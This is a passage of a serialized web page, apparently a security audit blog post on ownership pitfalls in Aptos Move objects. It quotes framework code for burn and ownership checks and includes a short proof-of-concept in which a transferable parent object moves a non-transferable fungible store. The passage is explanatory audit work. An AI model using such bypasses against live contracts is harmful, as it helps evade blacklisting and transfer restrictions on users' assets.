error",{"type":23,"tag":41,"props":63807,"children":63808},{"style":170},[63809],{"type":28,"value":3479},{"type":23,"tag":41,"props":63811,"children":63812},{"style":114},[63813],{"type":28,"value":63814},"permission_denied",{"type":23,"tag":41,"props":63816,"children":63817},{"style":70},[63818],{"type":28,"value":63819},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":41,"props":63821,"children":63822},{"class":43,"line":186},[63823,63827,63831],{"type":23,"tag":41,"props":63824,"children":63825},{"style":70},[63826],{"type":28,"value":62713},{"type":23,"tag":41,"props":63828,"children":63829},{"style":170},[63830],{"type":28,"value":9589},{"type":23,"tag":41,"props":63832,"children":63833},{"style":70},[63834],{"type":28,"value":11769},{"type":23,"tag":41,"props":63836,"children":63837},{"class":43,"line":195},[63838],{"type":23,"tag":41,"props":63839,"children":63840},{"style":70},[63841],{"type":28,"value":201},{"type":23,"tag":24,"props":63843,"children":63844},{},[63845,63847,63852,63854,63860,63862,63868],{"type":28,"value":63846},"The thing to note is that defining ownership with ",{"type":23,"tag":37,"props":63848,"children":63850},{"className":63849},[],[63851],{"type":28,"value":63589},{"type":28,"value":63853}," can be tricky. The ",{"type":23,"tag":37,"props":63855,"children":63857},{"className":63856},[],[63858],{"type":28,"value":63859},"burn",{"type":28,"value":63861}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":37,"props":63863,"children":63865},{"className":63864},[],[63866],{"type":28,"value":63867},"BURN_ADDRESS",{"type":28,"value":63869}," while bypassing transfer restrictions:",{"type":23,"tag":31,"props":63871,"children":63873},{"className":2982,"code":63872,"language":2981,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[63874],{"type":23,"tag":37,"props":63875,"children":63876},{"__ignoreMap":7},[63877,63974,64015,64065,64094,64144,64165],{"type":23,"tag":41,"props":63878,"children":63879},{"class":43,"line":44},[63880,63884,63888,63892,63897,63901,63905,63909,63913,63917,63921,63925,63929,63933,63937,63941,63945,63949,63953,63957,63961,63965,63970],{"type":23,"tag":41,"props":63881,"children":63882},{"style":858},[63883],{"type":28,"value":127},{"type":23,"tag":41,"props":63885,"children":63886},{"style":858},[63887],{"type":28,"value":62637},{"type":23,"tag":41,"props":63889,"children":63890},{"style":858},[63891],{"type":28,"value":6205},{"type":23,"tag":41,"props":63893,"children":63894},{"style":858},[63895],{"type":28,"value":63896}," burn",{"type":23,"tag":41,"props":63898,"children":63899},{"style":70},[63900],{"type":28,"value":1012},{"type":23,"tag":41,"props":63902,"children":63903},{"style":94},[63904],{"type":28,"value":1634},{"type":23,"tag":41,"props":63906,"children":63907},{"style":170},[63908],{"type":28,"value":1474},{"type":23,"tag":41,"props":63910,"children":63911},{"style":858},[63912],{"type":28,"value":5931},{"type":23,"tag":41,"props":63914,"children":63915},{"style":70},[63916],{"type":28,"value":7610},{"type":23,"tag":41,"props":63918,"children":63919},{"style":858},[63920],{"type":28,"value":15600},{"type":23,"tag":41,"props":63922,"children":63923},{"style":170},[63924],{"type":28,"value":1474},{"type":23,"tag":41,"props":63926,"children":63927},{"style":170},[63928],{"type":28,"value":7140},{"type":23,"tag":41,"props":63930,"children":63931},{"style":858},[63932],{"type":28,"value":7145},{"type":23,"tag":41,"props":63934,"children":63935},{"style":70},[63936],{"type":28,"value":970},{"type":23,"tag":41,"props":63938,"children":63939},{"style":858},[63940],{"type":28,"value":62905},{"type":23,"tag":41,"props":63942,"children":63943},{"style":170},[63944],{"type":28,"value":1474},{"type":23,"tag":41,"props":63946,"children":63947},{"style":94},[63948],{"type":28,"value":61558},{"type":23,"tag":41,"props":63950,"children":63951},{"style":70},[63952],{"type":28,"value":1012},{"type":23,"tag":41,"props":63954,"children":63955},{"style":94},[63956],{"type":28,"value":1634},{"type":23,"tag":41,"props":63958,"children":63959},{"style":70},[63960],{"type":28,"value":20434},{"type":23,"tag":41,"props":63962,"children":63963},{"style":858},[63964],{"type":28,"value":6342},{"type":23,"tag":41,"props":63966,"children":63967},{"style":94},[63968],{"type":28,"value":63969}," ObjectCore",{"type":23,"tag":41,"props":63971,"children":63972},{"style":70},[63973],{"type":28,"value":102},{"type":23,"tag":41,"props":63975,"children":63976},{"class":43,"line":54},[63977,63981,63986,63990,63995,63999,64003,64007,64011],{"type":23,"tag":41,"props":63978,"children":63979},{"style":64},[63980],{"type":28,"value":3002},{"type":23,"tag":41,"props":63982,"children":63983},{"style":858},[63984],{"type":28,"value":63985}," original_owner",{"type":23,"tag":41,"props":63987,"children":63988},{"style":170},[63989],{"type":28,"value":3017},{"type":23,"tag":41,"props":63991,"children":63992},{"style":70},[63993],{"type":28,"value":63994}," signer",{"type":23,"tag":41,"props":63996,"children":63997},{"style":170},[63998],{"type":28,"value":3479},{"type":23,"tag":41,"props":64000,"children":64001},{"style":114},[64002],{"type":28,"value":7208},{"type":23,"tag":41,"props":64004,"children":64005},{"style":70},[64006],{"type":28,"value":1737},{"type":23,"tag":41,"props":64008,"children":64009},{"style":858},[64010],{"type":28,"value":15600},{"type":23,"tag":41,"props":64012,"children":64013},{"style":70},[64014],{"type":28,"value":3825},{"type":23,"tag":41,"props":64016,"children":64017},{"class":43,"line":76},[64018,64022,64026,64031,64035,64039,64043,64048,64052,64056,64060],{"type":23,"tag":41,"props":64019,"children":64020},{"style":114},[64021],{"type":28,"value":62339},{"type":23,"tag":41,"props":64023,"children":64024},{"style":70},[64025],{"type":28,"value":1737},{"type":23,"tag":41,"props":64027,"children":64028},{"style":114},[64029],{"type":28,"value":64030},"is_owner",{"type":23,"tag":41,"props":64032,"children":64033},{"style":70},[64034],{"type":28,"value":1737},{"type":23,"tag":41,"props":64036,"children":64037},{"style":858},[64038],{"type":28,"value":62905},{"type":23,"tag":41,"props":64040,"children":64041},{"style":70},[64042],{"type":28,"value":970},{"type":23,"tag":41,"props":64044,"children":64045},{"style":858},[64046],{"type":28,"value":64047},"original_owner",{"type":23,"tag":41,"props":64049,"children":64050},{"style":70},[64051],{"type":28,"value":62928},{"type":23,"tag":41,"props":64053,"children":64054},{"style":170},[64055],{"type":28,"value":3479},{"type":23,"tag":41,"props":64057,"children":64058},{"style":114},[64059],{"type":28,"value":63814},{"type":23,"tag":41,"props":64061,"children":64062},{"style":70},[64063],{"type":28,"value":64064},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":41,"props":64066,"children":64067},{"class":43,"line":85},[64068,64072,64077,64081,64085,64089],{"type":23,"tag":41,"props":64069,"children":64070},{"style":64},[64071],{"type":28,"value":3002},{"type":23,"tag":41,"props":64073,"children":64074},{"style":858},[64075],{"type":28,"value":64076}," object_addr",{"type":23,"tag":41,"props":64078,"children":64079},{"style":170},[64080],{"type":28,"value":3017},{"type":23,"tag":41,"props":64082,"children":64083},{"style":858},[64084],{"type":28,"value":62489},{"type":23,"tag":41,"props":64086,"children":64087},{"style":170},[64088],{"type":28,"value":706},{"type":23,"tag":41,"props":64090,"children":64091},{"style":70},[64092],{"type":28,"value":64093},"inner;\n",{"type":23,"tag":41,"props":64095,"children":64096},{"class":43,"line":105},[64097,64101,64105,64109,64114,64118,64123,64127,64132,64136,64140],{"type":23,"tag":41,"props":64098,"children":64099},{"style":114},[64100],{"type":28,"value":63092},{"type":23,"tag":41,"props":64102,"children":64103},{"style":70},[64104],{"type":28,"value":1737},{"type":23,"tag":41,"props":64106,"children":64107},{"style":170},[64108],{"type":28,"value":855},{"type":23,"tag":41,"props":64110,"children":64111},{"style":114},[64112],{"type":28,"value":64113},"create_signer",{"type":23,"tag":41,"props":64115,"children":64116},{"style":70},[64117],{"type":28,"value":1737},{"type":23,"tag":41,"props":64119,"children":64120},{"style":858},[64121],{"type":28,"value":64122},"object_addr",{"type":23,"tag":41,"props":64124,"children":64125},{"style":70},[64126],{"type":28,"value":15169},{"type":23,"tag":41,"props":64128,"children":64129},{"style":94},[64130],{"type":28,"value":64131},"TombStone",{"type":23,"tag":41,"props":64133,"children":64134},{"style":70},[64135],{"type":28,"value":9584},{"type":23,"tag":41,"props":64137,"children":64138},{"style":858},[64139],{"type":28,"value":64047},{"type":23,"tag":41,"props":64141,"children":64142},{"style":70},[64143],{"type":28,"value":38828},{"type":23,"tag":41,"props":64145,"children":64146},{"class":43,"line":155},[64147,64152,64156,64160],{"type":23,"tag":41,"props":64148,"children":64149},{"style":114},[64150],{"type":28,"value":64151},"    transfer_raw_inner",{"type":23,"tag":41,"props":64153,"children":64154},{"style":70},[64155],{"type":28,"value":1737},{"type":23,"tag":41,"props":64157,"children":64158},{"style":858},[64159],{"type":28,"value":64122},{"type":23,"tag":41,"props":64161,"children":64162},{"style":70},[64163],{"type":28,"value":64164},", BURN_ADDRESS);\n",{"type":23,"tag":41,"props":64166,"children":64167},{"class":43,"line":186},[64168],{"type":23,"tag":41,"props":64169,"children":64170},{"style":70},[64171],{"type":28,"value":201},{"type":23,"tag":24,"props":64173,"children":64174},{},[64175,64181,64183,64188,64189,64196,64198,64203],{"type":23,"tag":37,"props":64176,"children":64178},{"className":64177},[],[64179],{"type":28,"value":64180},"unburn",{"type":28,"value":64182}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":37,"props":64184,"children":64186},{"className":64185},[],[64187],{"type":28,"value":63867},{"type":28,"value":18520},{"type":23,"tag":458,"props":64190,"children":64193},{"href":64191,"rel":64192},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[462],[64194],{"type":28,"value":64195},"AIP-99",{"type":28,"value":64197}," is a proposal to roll back the ",{"type":23,"tag":37,"props":64199,"children":64201},{"className":64200},[],[64202],{"type":28,"value":63859},{"type":28,"value":64204}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":518,"props":64206,"children":64207},{},[64208],{"type":23,"tag":24,"props":64209,"children":64210},{},[64211,64213,64217],{"type":28,"value":64212},"This ",{"type":23,"tag":41,"props":64214,"children":64215},{},[64216],{"type":28,"value":64195},{"type":28,"value":64218}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":24,"props":64220,"children":64221},{},[64222,64224,64230,64232,64237,64239,64244],{"type":28,"value":64223},"Another important thing is that ",{"type":23,"tag":37,"props":64225,"children":64227},{"className":64226},[],[64228],{"type":28,"value":64229},"fungible_asset::set_untransferable",{"type":28,"value":64231}," can be used to make all new ",{"type":23,"tag":37,"props":64233,"children":64235},{"className":64234},[],[64236],{"type":28,"value":62575},{"type":28,"value":64238}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":37,"props":64240,"children":64242},{"className":64241},[],[64243],{"type":28,"value":62071},{"type":28,"value":706},{"type":23,"tag":24,"props":64246,"children":64247},{},[64248,64250,64255,64257,64263,64265,64270,64272,64277],{"type":28,"value":64249},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":37,"props":64251,"children":64253},{"className":64252},[],[64254],{"type":28,"value":62071},{"type":28,"value":64256},", X can withdraw from that store. This is because ",{"type":23,"tag":37,"props":64258,"children":64260},{"className":64259},[],[64261],{"type":28,"value":64262},"fungible_asset::withdraw",{"type":28,"value":64264}," uses ",{"type":23,"tag":37,"props":64266,"children":64268},{"className":64267},[],[64269],{"type":28,"value":63589},{"type":28,"value":64271}," to verify both direct and indirect ownership of the ",{"type":23,"tag":37,"props":64273,"children":64275},{"className":64274},[],[64276],{"type":28,"value":62071},{"type":28,"value":50171},{"type":23,"tag":31,"props":64279,"children":64281},{"className":2982,"code":64280,"language":2981,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[64282],{"type":23,"tag":37,"props":64283,"children":64284},{"__ignoreMap":7},[64285,64346,64362,64392,64421,64436,64448,64478,64499,64506,64546,64571,64578],{"type":23,"tag":41,"props":64286,"children":64287},{"class":43,"line":44},[64288,64292,64297,64301,64305,64309,64313,64317,64322,64326,64330,64334,64338,64342],{"type":23,"tag":41,"props":64289,"children":64290},{"style":858},[64291],{"type":28,"value":7106},{"type":23,"tag":41,"props":64293,"children":64294},{"style":114},[64295],{"type":28,"value":64296}," verify_ungated_and_descendant",{"type":23,"tag":41,"props":64298,"children":64299},{"style":70},[64300],{"type":28,"value":1737},{"type":23,"tag":41,"props":64302,"children":64303},{"style":858},[64304],{"type":28,"value":15600},{"type":23,"tag":41,"props":64306,"children":64307},{"style":170},[64308],{"type":28,"value":1474},{"type":23,"tag":41,"props":64310,"children":64311},{"style":858},[64312],{"type":28,"value":6248},{"type":23,"tag":41,"props":64314,"children":64315},{"style":70},[64316],{"type":28,"value":970},{"type":23,"tag":41,"props":64318,"children":64319},{"style":858},[64320],{"type":28,"value":64321},"destination",{"type":23,"tag":41,"props":64323,"children":64324},{"style":170},[64325],{"type":28,"value":1474},{"type":23,"tag":41,"props":64327,"children":64328},{"style":858},[64329],{"type":28,"value":6248},{"type":23,"tag":41,"props":64331,"children":64332},{"style":70},[64333],{"type":28,"value":866},{"type":23,"tag":41,"props":64335,"children":64336},{"style":858},[64337],{"type":28,"value":6342},{"type":23,"tag":41,"props":64339,"children":64340},{"style":94},[64341],{"type":28,"value":63969},{"type":23,"tag":41,"props":64343,"children":64344},{"style":70},[64345],{"type":28,"value":102},{"type":23,"tag":41,"props":64347,"children":64348},{"class":43,"line":54},[64349,64354,64358],{"type":23,"tag":41,"props":64350,"children":64351},{"style":70},[64352],{"type":28,"value":64353},"        [",{"type":23,"tag":41,"props":64355,"children":64356},{"style":170},[64357],{"type":28,"value":9589},{"type":23,"tag":41,"props":64359,"children":64360},{"style":70},[64361],{"type":28,"value":11769},{"type":23,"tag":41,"props":64363,"children":64364},{"class":43,"line":76},[64365,64370,64374,64378,64383,64388],{"type":23,"tag":41,"props":64366,"children":64367},{"style":58},[64368],{"type":28,"value":64369},"    while",{"type":23,"tag":41,"props":64371,"children":64372},{"style":70},[64373],{"type":28,"value":142},{"type":23,"tag":41,"props":64375,"children":64376},{"style":858},[64377],{"type":28,"value":15600},{"type":23,"tag":41,"props":64379,"children":64380},{"style":170},[64381],{"type":28,"value":64382}," !=",{"type":23,"tag":41,"props":64384,"children":64385},{"style":858},[64386],{"type":28,"value":64387}," current_address",{"type":23,"tag":41,"props":64389,"children":64390},{"style":70},[64391],{"type":28,"value":152},{"type":23,"tag":41,"props":64393,"children":64394},{"class":43,"line":85},[64395,64400,64404,64409,64413,64417],{"type":23,"tag":41,"props":64396,"children":64397},{"style":858},[64398],{"type":28,"value":64399},"        count",{"type":23,"tag":41,"props":64401,"children":64402},{"style":170},[64403],{"type":28,"value":3017},{"type":23,"tag":41,"props":64405,"children":64406},{"style":858},[64407],{"type":28,"value":64408}," count",{"type":23,"tag":41,"props":64410,"children":64411},{"style":170},[64412],{"type":28,"value":8901},{"type":23,"tag":41,"props":64414,"children":64415},{"style":164},[64416],{"type":28,"value":167},{"type":23,"tag":41,"props":64418,"children":64419},{"style":70},[64420],{"type":28,"value":183},{"type":23,"tag":41,"props":64422,"children":64423},{"class":43,"line":105},[64424,64428,64432],{"type":23,"tag":41,"props":64425,"children":64426},{"style":70},[64427],{"type":28,"value":64353},{"type":23,"tag":41,"props":64429,"children":64430},{"style":170},[64431],{"type":28,"value":9589},{"type":23,"tag":41,"props":64433,"children":64434},{"style":70},[64435],{"type":28,"value":11769},{"type":23,"tag":41,"props":64437,"children":64438},{"class":43,"line":155},[64439,64444],{"type":23,"tag":41,"props":64440,"children":64441},{"style":114},[64442],{"type":28,"value":64443},"        assert!",{"type":23,"tag":41,"props":64445,"children":64446},{"style":70},[64447],{"type":28,"value":3461},{"type":23,"tag":41,"props":64449,"children":64450},{"class":43,"line":186},[64451,64456,64460,64465,64469,64474],{"type":23,"tag":41,"props":64452,"children":64453},{"style":858},[64454],{"type":28,"value":64455},"            exists",{"type":23,"tag":41,"props":64457,"children":64458},{"style":70},[64459],{"type":28,"value":1012},{"type":23,"tag":41,"props":64461,"children":64462},{"style":94},[64463],{"type":28,"value":64464},"ObjectCore",{"type":23,"tag":41,"props":64466,"children":64467},{"style":70},[64468],{"type":28,"value":7610},{"type":23,"tag":41,"props":64470,"children":64471},{"style":858},[64472],{"type":28,"value":64473},"current_address",{"type":23,"tag":41,"props":64475,"children":64476},{"style":70},[64477],{"type":28,"value":6735},{"type":23,"tag":41,"props":64479,"children":64480},{"class":43,"line":195},[64481,64486,64490,64494],{"type":23,"tag":41,"props":64482,"children":64483},{"style":70},[64484],{"type":28,"value":64485},"            error",{"type":23,"tag":41,"props":64487,"children":64488},{"style":170},[64489],{"type":28,"value":3479},{"type":23,"tag":41,"props":64491,"children":64492},{"style":114},[64493],{"type":28,"value":63814},{"type":23,"tag":41,"props":64495,"children":64496},{"style":70},[64497],{"type":28,"value":64498},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":41,"props":64500,"children":64501},{"class":43,"line":905},[64502],{"type":23,"tag":41,"props":64503,"children":64504},{"style":70},[64505],{"type":28,"value":7743},{"type":23,"tag":41,"props":64507,"children":64508},{"class":43,"line":922},[64509,64513,64517,64521,64526,64530,64534,64538,64542],{"type":23,"tag":41,"props":64510,"children":64511},{"style":64},[64512],{"type":28,"value":3066},{"type":23,"tag":41,"props":64514,"children":64515},{"style":858},[64516],{"type":28,"value":62489},{"type":23,"tag":41,"props":64518,"children":64519},{"style":170},[64520],{"type":28,"value":3017},{"type":23,"tag":41,"props":64522,"children":64523},{"style":858},[64524],{"type":28,"value":64525}," borrow_global",{"type":23,"tag":41,"props":64527,"children":64528},{"style":70},[64529],{"type":28,"value":1012},{"type":23,"tag":41,"props":64531,"children":64532},{"style":94},[64533],{"type":28,"value":64464},{"type":23,"tag":41,"props":64535,"children":64536},{"style":70},[64537],{"type":28,"value":7610},{"type":23,"tag":41,"props":64539,"children":64540},{"style":858},[64541],{"type":28,"value":64473},{"type":23,"tag":41,"props":64543,"children":64544},{"style":70},[64545],{"type":28,"value":3825},{"type":23,"tag":41,"props":64547,"children":64548},{"class":43,"line":930},[64549,64554,64558,64562,64566],{"type":23,"tag":41,"props":64550,"children":64551},{"style":858},[64552],{"type":28,"value":64553},"        current_address",{"type":23,"tag":41,"props":64555,"children":64556},{"style":170},[64557],{"type":28,"value":3017},{"type":23,"tag":41,"props":64559,"children":64560},{"style":858},[64561],{"type":28,"value":62489},{"type":23,"tag":41,"props":64563,"children":64564},{"style":170},[64565],{"type":28,"value":706},{"type":23,"tag":41,"props":64567,"children":64568},{"style":70},[64569],{"type":28,"value":64570},"owner;\n",{"type":23,"tag":41,"props":64572,"children":64573},{"class":43,"line":939},[64574],{"type":23,"tag":41,"props":64575,"children":64576},{"style":70},[64577],{"type":28,"value":38990},{"type":23,"tag":41,"props":64579,"children":64580},{"class":43,"line":947},[64581],{"type":23,"tag":41,"props":64582,"children":64583},{"style":70},[64584],{"type":28,"value":201},{"type":23,"tag":24,"props":64586,"children":64587},{},[64588,64590,64595],{"type":28,"value":64589},"This could allow for bypassing assumptions about ",{"type":23,"tag":37,"props":64591,"children":64593},{"className":64592},[],[64594],{"type":28,"value":62071},{"type":28,"value":64596}," true ownership and its non-transferability.",{"type":23,"tag":31,"props":64598,"children":64600},{"className":2982,"code":64599,"language":2981,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[64601],{"type":23,"tag":37,"props":64602,"children":64603},{"__ignoreMap":7},[64604,64662,64715,64759,64807,64814,64859,64867],{"type":23,"tag":41,"props":64605,"children":64606},{"class":43,"line":44},[64607,64611,64615,64620,64624,64629,64633,64637,64641,64645,64650,64654,64658],{"type":23,"tag":41,"props":64608,"children":64609},{"style":858},[64610],{"type":28,"value":127},{"type":23,"tag":41,"props":64612,"children":64613},{"style":858},[64614],{"type":28,"value":6205},{"type":23,"tag":41,"props":64616,"children":64617},{"style":114},[64618],{"type":28,"value":64619}," untransferable_transfer",{"type":23,"tag":41,"props":64621,"children":64622},{"style":70},[64623],{"type":28,"value":1737},{"type":23,"tag":41,"props":64625,"children":64626},{"style":858},[64627],{"type":28,"value":64628},"caller",{"type":23,"tag":41,"props":64630,"children":64631},{"style":170},[64632],{"type":28,"value":1474},{"type":23,"tag":41,"props":64634,"children":64635},{"style":170},[64636],{"type":28,"value":7140},{"type":23,"tag":41,"props":64638,"children":64639},{"style":858},[64640],{"type":28,"value":7145},{"type":23,"tag":41,"props":64642,"children":64643},{"style":70},[64644],{"type":28,"value":970},{"type":23,"tag":41,"props":64646,"children":64647},{"style":858},[64648],{"type":28,"value":64649},"receipient",{"type":23,"tag":41,"props":64651,"children":64652},{"style":170},[64653],{"type":28,"value":1474},{"type":23,"tag":41,"props":64655,"children":64656},{"style":858},[64657],{"type":28,"value":6248},{"type":23,"tag":41,"props":64659,"children":64660},{"style":70},[64661],{"type":28,"value":152},{"type":23,"tag":41,"props":64663,"children":64664},{"class":43,"line":54},[64665,64669,64674,64678,64682,64686,64691,64695,64699,64703,64707,64711],{"type":23,"tag":41,"props":64666,"children":64667},{"style":64},[64668],{"type":28,"value":3002},{"type":23,"tag":41,"props":64670,"children":64671},{"style":858},[64672],{"type":28,"value":64673}," constructor_ref",{"type":23,"tag":41,"props":64675,"children":64676},{"style":170},[64677],{"type":28,"value":3017},{"type":23,"tag":41,"props":64679,"children":64680},{"style":70},[64681],{"type":28,"value":62489},{"type":23,"tag":41,"props":64683,"children":64684},{"style":170},[64685],{"type":28,"value":3479},{"type":23,"tag":41,"props":64687,"children":64688},{"style":114},[64689],{"type":28,"value":64690},"create_object",{"type":23,"tag":41,"props":64692,"children":64693},{"style":70},[64694],{"type":28,"value":7199},{"type":23,"tag":41,"props":64696,"children":64697},{"style":170},[64698],{"type":28,"value":3479},{"type":23,"tag":41,"props":64700,"children":64701},{"style":114},[64702],{"type":28,"value":7208},{"type":23,"tag":41,"props":64704,"children":64705},{"style":70},[64706],{"type":28,"value":1737},{"type":23,"tag":41,"props":64708,"children":64709},{"style":858},[64710],{"type":28,"value":64628},{"type":23,"tag":41,"props":64712,"children":64713},{"style":70},[64714],{"type":28,"value":7222},{"type":23,"tag":41,"props":64716,"children":64717},{"class":43,"line":76},[64718,64722,64726,64730,64734,64738,64743,64747,64751,64755],{"type":23,"tag":41,"props":64719,"children":64720},{"style":64},[64721],{"type":28,"value":3002},{"type":23,"tag":41,"props":64723,"children":64724},{"style":858},[64725],{"type":28,"value":64076},{"type":23,"tag":41,"props":64727,"children":64728},{"style":170},[64729],{"type":28,"value":3017},{"type":23,"tag":41,"props":64731,"children":64732},{"style":70},[64733],{"type":28,"value":62489},{"type":23,"tag":41,"props":64735,"children":64736},{"style":170},[64737],{"type":28,"value":3479},{"type":23,"tag":41,"props":64739,"children":64740},{"style":114},[64741],{"type":28,"value":64742},"address_from_constructor_ref",{"type":23,"tag":41,"props":64744,"children":64745},{"style":70},[64746],{"type":28,"value":1737},{"type":23,"tag":41,"props":64748,"children":64749},{"style":170},[64750],{"type":28,"value":855},{"type":23,"tag":41,"props":64752,"children":64753},{"style":858},[64754],{"type":28,"value":62923},{"type":23,"tag":41,"props":64756,"children":64757},{"style":70},[64758],{"type":28,"value":3825},{"type":23,"tag":41,"props":64760,"children":64761},{"class":43,"line":85},[64762,64766,64770,64774,64779,64783,64787,64791,64795,64799,64803],{"type":23,"tag":41,"props":64763,"children":64764},{"style":64},[64765],{"type":28,"value":3002},{"type":23,"tag":41,"props":64767,"children":64768},{"style":858},[64769],{"type":28,"value":5831},{"type":23,"tag":41,"props":64771,"children":64772},{"style":170},[64773],{"type":28,"value":3017},{"type":23,"tag":41,"props":64775,"children":64776},{"style":70},[64777],{"type":28,"value":64778}," primary_fungible_store",{"type":23,"tag":41,"props":64780,"children":64781},{"style":170},[64782],{"type":28,"value":3479},{"type":23,"tag":41,"props":64784,"children":64785},{"style":114},[64786],{"type":28,"value":62815},{"type":23,"tag":41,"props":64788,"children":64789},{"style":70},[64790],{"type":28,"value":1737},{"type":23,"tag":41,"props":64792,"children":64793},{"style":858},[64794],{"type":28,"value":64122},{"type":23,"tag":41,"props":64796,"children":64797},{"style":70},[64798],{"type":28,"value":970},{"type":23,"tag":41,"props":64800,"children":64801},{"style":114},[64802],{"type":28,"value":62771},{"type":23,"tag":41,"props":64804,"children":64805},{"style":70},[64806],{"type":28,"value":15416},{"type":23,"tag":41,"props":64808,"children":64809},{"class":43,"line":105},[64810],{"type":23,"tag":41,"props":64811,"children":64812},{"emptyLinePlaceholder":18},[64813],{"type":28,"value":82},{"type":23,"tag":41,"props":64815,"children":64816},{"class":43,"line":155},[64817,64822,64826,64831,64835,64839,64843,64847,64851,64855],{"type":23,"tag":41,"props":64818,"children":64819},{"style":70},[64820],{"type":28,"value":64821},"    object",{"type":23,"tag":41,"props":64823,"children":64824},{"style":170},[64825],{"type":28,"value":3479},{"type":23,"tag":41,"props":64827,"children":64828},{"style":114},[64829],{"type":28,"value":64830},"transfer_raw",{"type":23,"tag":41,"props":64832,"children":64833},{"style":70},[64834],{"type":28,"value":1737},{"type":23,"tag":41,"props":64836,"children":64837},{"style":858},[64838],{"type":28,"value":64628},{"type":23,"tag":41,"props":64840,"children":64841},{"style":70},[64842],{"type":28,"value":970},{"type":23,"tag":41,"props":64844,"children":64845},{"style":858},[64846],{"type":28,"value":64122},{"type":23,"tag":41,"props":64848,"children":64849},{"style":70},[64850],{"type":28,"value":970},{"type":23,"tag":41,"props":64852,"children":64853},{"style":858},[64854],{"type":28,"value":64649},{"type":23,"tag":41,"props":64856,"children":64857},{"style":70},[64858],{"type":28,"value":3825},{"type":23,"tag":41,"props":64860,"children":64861},{"class":43,"line":186},[64862],{"type":23,"tag":41,"props":64863,"children":64864},{"style":48},[64865],{"type":28,"value":64866},"    //receipient can interact with store by using their signer\n",{"type":23,"tag":41,"props":64868,"children":64869},{"class":43,"line":195},[64870],{"type":23,"tag":41,"props":64871,"children":64872},{"style":70},[64873],{"type":28,"value":201},{"type":23,"tag":24,"props":64875,"children":64876},{},[64877,64879,64886],{"type":28,"value":64878},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":458,"props":64880,"children":64883},{"href":64881,"rel":64882},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[462],[64884],{"type":28,"value":64885},"edge case",{"type":28,"value":64887}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":31,"props":64889,"children":64891},{"className":2982,"code":64890,"language":2981,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[64892],{"type":23,"tag":37,"props":64893,"children":64894},{"__ignoreMap":7},[64895,64960,65021,65068,65079,65114,65134,65141,65148,65163,65170,65198],{"type":23,"tag":41,"props":64896,"children":64897},{"class":43,"line":44},[64898,64902,64906,64911,64915,64919,64923,64928,64932,64936,64940,64944,64948,64952,64956],{"type":23,"tag":41,"props":64899,"children":64900},{"style":858},[64901],{"type":28,"value":127},{"type":23,"tag":41,"props":64903,"children":64904},{"style":858},[64905],{"type":28,"value":6205},{"type":23,"tag":41,"props":64907,"children":64908},{"style":114},[64909],{"type":28,"value":64910}," transfer_with_ref",{"type":23,"tag":41,"props":64912,"children":64913},{"style":70},[64914],{"type":28,"value":1737},{"type":23,"tag":41,"props":64916,"children":64917},{"style":64},[64918],{"type":28,"value":63332},{"type":23,"tag":41,"props":64920,"children":64921},{"style":170},[64922],{"type":28,"value":1474},{"type":23,"tag":41,"props":64924,"children":64925},{"style":94},[64926],{"type":28,"value":64927}," 